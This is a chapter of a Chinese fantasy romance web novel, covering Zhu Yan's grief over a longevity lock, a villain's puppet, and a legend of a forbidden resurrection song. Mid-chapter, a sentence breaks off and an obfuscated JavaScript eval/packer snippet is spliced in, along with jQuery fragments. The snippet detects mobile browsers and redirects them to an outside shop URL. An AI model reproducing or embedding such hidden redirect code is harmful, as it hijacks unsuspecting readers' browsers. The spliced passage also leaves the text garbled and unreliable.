42.挽歌之术

作品:《梦烛遗爱 [离水行舟]

    日落黄昏,天边泛着最后一抹橘黄,宣告着太阳的西落。


    戾气朱厌让魑魅沙漏,把自己带回了槐江谷。


    在它又一次发出微微金光之时,戾气朱厌意味深长看了沙漏一眼后,挥袖抹掉了它的使用痕迹。


    这样,那个老不死的东西就无法真正窥探到他方才去向踪迹了。


    只一会,魑魅沙漏便在原地消失得一干二净了。


    回到小居,原本喧闹的庭院,此刻针落可闻。


    下午他的那番动作,英招不仅带走了琉璃,还带走了所有槐精们。


    戾气朱厌心里有些落寞,却依旧逞强地假装出一幅根本不在乎的模样。


    坐在台阶上的戾气朱厌,他从怀里掏出那只送出去又被他收回来的枯黄草蟋蟀,还有一个略微褪色的小荷包。


    荷包上面的刺绣,绣得东倒西歪的。


    打开的小荷包里,是一枚些许变色的长命锁。


    望着手里这枚小小的长命锁,戾气朱厌第一次露出了失魂落魄的神情。


    第一颗透明水珠落在了那只枯黄的草蟋蟀上,紧接着,第二颗透明水珠,落在了那枚些许变色的长命锁上。


    荒芜孤凉的昆仑山窟里,一道白色身影缓缓走出,蹲身捡拾起地上散落成两半的人偶碎块。


    指尖不断来回摩挲着手中的人偶碎块,乘黄露出一个意味不明的阴笑:“几万年不见了,朱厌,你还是跟以前一样,没礼貌...不过...”


    乘黄一把将手中的人偶碎片直接捏成粉末,木屑粉末从他指缝漏下,隐约可见到他那张依旧青白得不似活人的俊脸。


    一阵有条不紊的鼓声,从乘黄的身后陆陆续续传来,接着一枚泛着诡异红光的鼗鼓摇动着从天而降——


    鼓面镌满古槐一族族徽的鼗鼓,本该被幽蓝光辉包裹的鼓,此刻摇动着的鼓身,一整个都被诡异骇人的红光充斥着。


    被乘黄强行带走的鼗鼓,不停摇动着的鼓发出的无形鼓浪,也变成了无数猩红鼓线。


    当无数红线汇集在一起,最后落地变成了一个眼冒红光,神情呆滞,嘴泛冷笑的‘离仑’,乖乖的站在乘黄背后。


    乘黄闭上了双眼,深呼吸了一下,漫不经心对着身后人说:“算算时间,我们,好像是应该见面了...朱厌...我相信,你跟我一样,也很期待的吧...”


    令人不寒而栗的是,乘黄每说出一个字,他身后那个‘离仑’也跟他说出一模一样的字,甚至连带着脸上的笑容,都僵硬得跟乘黄像是一个模子刻印出来的一样。


    戾气挣开封印出逃,在收到英招山海寸镜的传信后,英磊就忙于奔波找人。可他跑遍了整个大荒,还是没有发现任何关于戾气朱厌的踪影。


    最后,他抱着死马当做活马医的心态,又跑回了槐江谷小居。


    谁知道,还真的是被他瞎猫碰上死耗子,真的被他在小居那里逮到了戾气朱厌。


    等他赶到时,小居的卧室内,灯火通明,一片安静。


    英磊放轻了动作,放慢了脚步,缓缓推开朱厌卧室的那扇门。


    灯火摇曳下,烛影憧憧,一盏橘黄油灯将床上睡着过去的人影拉得长长的。


    英磊端着油灯,走近了过去,才发现床上睡过去的人将自己蜷缩成一团。


    烛影打照下的脸,依旧美得惊心动魄,让人一言难忘。只是他眼眶处残留的清透,眼泪滚落后残留下的濡湿水痕,让人看了格外心疼。那一双紧锁的双眉,更是倾诉着他睡得有多么地不安稳。


    望着蜷缩成一团,英磊不由想起以前看过的话本上好似说过,这种蜷缩着的睡姿,是极为缺乏安全感的表现。


    对于戾气,忽略他那暴戾得喜怒无常的性子,英磊是觉得他怪可怜的。


    在他眼里,戾气就像是一个没有长大的小孩,藏满了朱厌更加明显的喜怒哀乐。


    朱厌的悲悯慈善,更衬托出戾气阴晴不定的喜怒无常,还有随心所欲的噬杀暴戾。


    他是朱厌,又不全是朱厌。


    端着小油灯走过去的英磊,看着熟睡中的朱厌,眼底涌动起一丝复杂的情绪。


    只见他抬起的手,伸出后又缩了回去。犹豫片刻后,最终还是选择伸手,泛着微凉的指尖,抹掉了朱厌眼角那碍人的泪渍。


    在英磊准备离去前,在看到放在桌面的东西后,他忽而停下了脚步。


    是一只枯黄的草蟋蟀,旁边发旧褪色的荷包上放了一枚微微变色的长命锁。


    英磊视线落到那长命锁时倒是惹得他一愣,好似被那小物件,勾起了尘封太久的远久记忆。


    英磊拿起那长命锁,细细琢磨起来,那双棕色眼眸中闪过许多情绪,有错愕,有惊喜,有难过,有悲伤,还有些许惋惜。


    他想起来了。


    这长命锁,是朱厌自己亲手做的礼物,送给那个孩子的礼物。


    当时的朱厌,经常偷偷瞒着英招跟离仑跑去人间,就为了拜师那手艺极好的工匠,教自己打银制锁。


    朱厌不知从哪儿听说了,刚出生的小孩都容易生病,佩戴这长命锁,祛灾祈福,锁命长寿,平安健康,能保娃娃顺利长大,无病无灾。


    现在想想,肯定又是离仑给他带的那些乱七八糟的凡间话本写的。


    看那么多,都看坏脑子了。


    大妖的孩子,本就寿命绵长,福泽无边,根本不像凡间孩童那般,体弱多病,易病易逝。


    这长命锁,不过就是一个凡人讨取好噱头的说法而已。


    朱厌明明自己是无所不能的大妖怪,可却把这哄人说法当真,还一整天跑来跑去,一会大荒一会人间的瞎忙活个不停。


    回忆起这桩过往,英磊又不免伤感起来。


    想起那个还未来得及出世的孩子,那个带满了离仑跟朱厌无限期待的娃娃,最终却落了个灰飞烟灭的悲惨下场。


    以前,他不小心提到这个孩子时,离仑总会一脸盛怒。只是久而久之,离仑也看似释怀,慢慢变得平静下来了。


    有些事情,只能交给时间。


    时间,便是最好的治疗师。


    在无限岁月的冲刷下,伤疤会好的,痛苦也会忘的。而活着的人,也迟早会对离去的人逐渐释怀。


    可是,英磊他知道,这个娃娃,是朱厌心头永远愈合不了的伤疤,更是离仑内心深处永远解不开的心结。


    如果真的彻底放下了,他们两个人当初就不会因为这件事情,冷战了足足八百年。


    不是八年,是八百年。


    那八百年里,槐江谷都处于一个极为低迷的氛围里,英磊更是看到了一个十分可怕的离仑。


    想到那八百年里的离仑,英磊就瘆得慌。


    “唉,真是伤心之物...”英磊深深叹了一口气,没好气一说,“你这长命锁呀...我就帮你带走了...省得你...那凡人说的啥,哦对,‘触景生情’。你一会醒来瞧见了,可得‘触物生情’了...”


    英磊把长命锁装进那个破旧的小荷包揣在怀里,回头再看了一眼床上睡熟中的人,确定朱厌依旧熟睡中,他便离开了小居。


    忙活了一整天的英磊,身心疲惫的回到了昆仑山。


    昆仑小居里,一群绿油油的小豆丁槐精们围在一张小木桌前,吃着英招给他们做的饭,嘴里还依旧叽叽喳喳互相说个不停。


    “今日的妖后大人,怪怪的,好凶哦...”槐精一号一边扒拉着饭碗,一边嘴里嚼着大米饭嘀嘀咕着。


    “嗯。我也觉得。”正在努力跟筷子搏斗的槐精二号接过话,“今日,凶凶又怪怪的妖后大人,还揍了那白娘子耶...”


    “那...白娘子他醒了吗?”槐精三号露出缺了一大角的小乳牙,将掉落在干净木桌上的米粒捡起来,慢吞吞吃掉,口齿不清反问道,“我还在等白娘子变人呢...”


    “不知道呢,英招祖祖让风生姥姥治着呢。”槐精四号一口喝掉了大海碗里的汤,“好喝,还想再喝一碗...”


    英磊一进门,就听到了槐精们的对话,还有看到他们跟一只只觅食的小仓鼠一一样吃得格外香,看得他当下就饥肠辘辘了。


    听到槐精的话,走了进去的英磊,顺手接过槐精手上的大海碗,给他又舀了一大碗热汤,还很贴心说着:“小家伙,晚上吃这么多,很容易不舒服的。”


    “英磊山神大人,我们要吃多点,才可以长大哦~长大了才可以保护妖后大人!”


    小豆丁槐精抬起些许乱糟糟的头脑冲英磊一笑,那颗缺了一角的小乳牙一下子就露出来了。


    看见他们乱糟糟的头发,英磊本想着不管,可是还是看不下去,最后趁着他们一边吃饭一边给他们梳着头发。


    一个埋头正努力扒拉着饭的槐精,忽然抬头,一张沾满了无数白米粒的小肥脸上,一双大大的眼睛带着求疑的好奇,很认真一问:“小山神大人,我们妖怪死后,会去哪儿呢?”


    正忙着给槐精们弄头发的英磊,嘴里咬着个皮绳,口齿不清反问:“干嘛突然之间问这个呀?”


    可是,还没有等到槐精回答,他倒是自个先开口说个不停:“我们妖啊,没有魂魄,不像人死后,会去冥府。”


    谁知,他这话刚一说出,就被诸多槐精们齐齐连声反驳了:“你说得不对。”


    “哪儿不对了?你们给我说说看。”


    一个槐精顶着一脸白米粒,气嘟嘟一说:“我们都看了,妖后大人房里的那些凡间话本写了,妖死后,会变成天上的日月星辰,还可以变成风花雪月,继续陪在我们爱的妖身边。”


    英磊实在看不下去了,一边伸手将他脸上的米粒摘掉,一边很认真教育着他们:“呃...那是你们王,从凡间买来哄你们妖后大人的伎俩,小孩子家家,别乱看些有的没的。”


    英磊起身,像是分包子一样,伸手朝他们一指挥:“来,吃饱了的,往这边站一排,没吃饱的赶紧吃。”


    英磊吩咐完就出去了,等到回来时,手上俨然端了一旁热水跟一条干净的帕子回来。


    一旁吃饱饭的诸多槐精们已经按照吩咐排队站好,等着他。


    英磊打湿帕子,拧干后给小豆丁们一个个擦脸擦嘴,嘴里依旧碎碎念着方才他们的话语:“妖,没有魂魄,死了就是死了。”


    一个正被他擦着脸的槐精,一听到他的话,不善表达的小东西直接气得小肥脸通红,眼睛瞪得圆圆的,直勾勾盯着他看,像是要把他看穿一样。


    英磊看到后,不由拧了拧他的小鼻子。


    小东西的,牙都还没长齐呢,这气势就像是要跟他叫板似的。


    槐精气得跟只小河豚一样,让英磊忍不住对他这圆嘟嘟的小肥脸,开始伸出魔爪。


    “你~胡~说~山~神~大~人~你~骗~人~”


    槐精的脸被英磊蹂.躏得像块皱巴巴的面团,小嘴巴却依旧不服气跟他叫板着。


    英磊知道,这些小东西,他们看完那些人族攥写的凡间话本后,对生死之事上还带有几分天真的想法,心中略有几分不忍,便忍不住多嘴了几句。


    “虽然,我们妖,没有魂魄。可是呢,死去的妖,如若有爱人,他们的爱人,会唱颂挽歌。”


    槐精们一听,方才对英磊的话颇有不爽着,却突然转变了态度,变得格外起劲,一个个涌向了他,硬生生把英磊直接给扑倒在地了。


    英磊挣扎了好一番,才把自己从槐精群中像拔萝卜般把自己拔了出来。


    槐精们围着他一个个追着问:“山神大人,挽歌是什么呀?”


    英磊顶着一个鸡窝头爬了起来,没好气地说:“挽歌啊,那是一种迎接亡灵,招魂结魄的颂歌。”


    随着他话一出,槐精们突然很自觉地一个个在他身边坐下,很认真听着他说话。


    英磊一边捣鼓着自己被槐精们弄得乱糟糟的头发,一边给他们耐着性子解释着:“上古传说,万年霜降,阴时阴辰,满月之日,唱颂挽歌。强大的爱意,会恩赐挽歌复生的力量。”


    “但你们是知道的,招魂结魄,死而复生这种都属于邪术,是需要唱颂之人付出极大代价的。”


    槐精们不懂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559069|183428||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    什么是‘代价’,但也知道,这个词语一听就是不好的意思。


    他们连着追问道:“需要什么代价呢?”


    英磊想了好一会,才掰着手指,一个个细说开:“我记得是,一颗失忆泪,二钱欢喜泪,三分苦海泪,四杯悔恨泪,五寸相思泪,六盅情欲泪,七尺别离泪,八道痴心泪,汇成魂香。”


    “然后呢?”


    “然后呀,这唱颂之人,还需得用自身的一身修为,燃烧魂香,再以九滴心头血为路引,一魂一魄为掌灯。这样呢,跨越了阴阳两界的冥府之路,就会被打开,爱人的亡灵便可归来。”


    一个槐精突然眼睛一亮,像是想到好主意一样:“山神大人,你说,如果这个传说,是真的话,那我们王不就可以回来了吗?”


    “这样,妖后大人就不会再伤心,也不会心情不好了,槐江谷就不会老是下雪下雨了,枯萎的万物,也可以复苏。”


    此话一出,倒是把英磊彻底难倒了,他露出一个很为难的神情:“呃...怎么说呢?”


    “这也是很古老很古老的传说,没人知道是真是假。至今为止,四海八荒之内,从未有人成功过。”


    槐精们一听,顿时个个像漏了气的小皮球,无精打采的。


    “不过呢...”


    被他吊着胃口的槐精们刚泄完气,这会一听又满血复活,一脸期待望着他:“不过什么呢?”


    英磊很认真想了一下,眼里突然一亮:“我以前倒是听我爷爷说过,南海鲛人一族,有人试过这挽歌之术。


    槐精们迫不及待继续追着问,丝毫不给英磊歇气的机会:“结果呢?怎么样怎么样?那个人,他成功了吗?”


    英磊摇了摇头:“听我爷爷说,在鸿蒙时期,戾气初生,大开杀戒,屠戮人间,致使九天十地,四海八荒之内,血流成河。”


    “戾气所到之处,更是生灵涂炭,冤魂不散。尸骨怨念侵蚀和污染了南海鲛人族的圣湖。鲛人族天生拥有以水净化的力量,因此,从未踏出鲛人族的海皇殿下浮月,最终决定,亲自踏入凡间,渡冤魂,洗怨念。”


    “浮月花了足足好几百年,才将凡间的戾气怨念净化。准备回鲛人族的他,却遇到了在仙魔大战中重伤昏迷的战神明苏。一向悲悯慈善的浮月,便将那战神给救了下来。”


    “浮月照顾了明苏很久,两人在春去秋来的朝夕相处中,日久生情。”


    槐精们眼睛一亮,好奇一问:“他们跟王和妖后大人一样,爱上了彼此吗?”


    英磊点了点头:“嗯。爱上了。”


    “如你们所料,鲛人族的海皇殿下浮月跟九重天上的战神明苏,就跟你们在朱厌房间里看到的那些情爱话本一样,他们两人,相爱了。”


    英磊说到一半,突然停了下来:“可是呢...”


    正听着故事听得入迷的槐精们,个个瞬间学着他的语气,一个比一个大声说着:“可是呢!”


    英磊被他们这番举动,莫名其妙逗得笑出了声,有些嫌弃道:“小学人精,尽学些有的没的。”


    “可是呢,神仙动情,三界不宁。”英磊脸色突然变得严肃起来,“其实,浮月不仅是这鲛人族的海皇殿下,他还是鲛人族身居高位的长老。可身份再高也没用,他终究还是妖。而明苏呢,是九重天上的神族,神族的地位,甚至比仙族还要高。”


    “神妖相爱,天道自是不允。”


    “天道便以九重天上的仙规天条,强行召唤明苏回九重天,将他关押进无妄海里,派了十万天兵天将,轮流镇守和看管着。”


    “后来啊,你们应该也都听过了那场诛魔大战吧。”


    被英磊突然点到名的槐精们,点了点头。


    先前他们跑去问机柏木爷爷关于王祭日之事,机柏木爷爷也跟他们说过那一场诛魔大战。


    “那场诛魔大战,其实四海八荒的各族都知道,就是九重天以‘屠魔护仙’之名蓄意发起的大战。那一场大战中,明苏重伤昏迷,浮月强行与他结契,闯入了他的识海,甚至不惜断尾取魂,只为救他。可惜...明苏最后还是战死于九重天算计的那场诛魔大战之中。”


    “明苏死后,浮月痛不欲生,便前往鬼域,去那九幽冥川寻找明苏的残魂。可是你们知道,神族跟我们妖族一样,天生无魂无魄,根本就不可能有残魂一说。”


    “后来,浮月不知从何处得到一高人指点,告诉他,上古禁术之一的挽歌之术,可助他打开冥府之路,为他那战死疆场的亡灵爱人,招魂接魄。”


    “那...”槐精们一脸难过,“那位鲛人长老,不,那位鲛人殿下,最后有将他爱人的魂魄召唤回来,让他死而复生吗?”


    英磊顶着槐精们满眼期待的压力,一口给出了否定答案:“当然没有啦。”


    “不知是何缘由,浮月唱颂的亡魂挽歌,最后招魂回来的,却是个很恐怖的怪物。那个怪物,最后血洗和屠戮了鲛人一脉,浮月死生不明,不知去向。自此,鲛人族便一蹶不振,修养了足足上万年才得以衍生存活。”


    英磊深深叹了一口气:“所以呢,像挽歌之术,死生之术这种上古禁术,之所以被禁修,是有一定道理的,你都不知道招魂待会招回来的,是什么怪物。”


    “山神大人,爱就是爱呀,为什么九重天上的神仙要阻止明苏跟浮月相爱呢?”


    “好问题。其实,我也不明白。难道是凡人说的‘无情则刚’???”


    英磊想了又想,还是想不出原因。


    与此同时,槐江谷小居那边,一阵断断续续的鼓声从远方传来。


    紧接着,伴随着诡异的鼓声,一股不知从何处涌出来的诡异白雾,将整个槐江谷里里外外都围了个水泄不通。


    断断续续的鼓声之中,一道歌声从远方若隐若现传入槐江谷。


    “我的心上人啊,是我初见,便念之不忘的心上人啊...”


    “我爱的意中人啊,是我初见,便念之不忘的心上人啊...”


    幽幽歌声之中,隐约可听得出,那是一道跟朱厌极为相似的声音。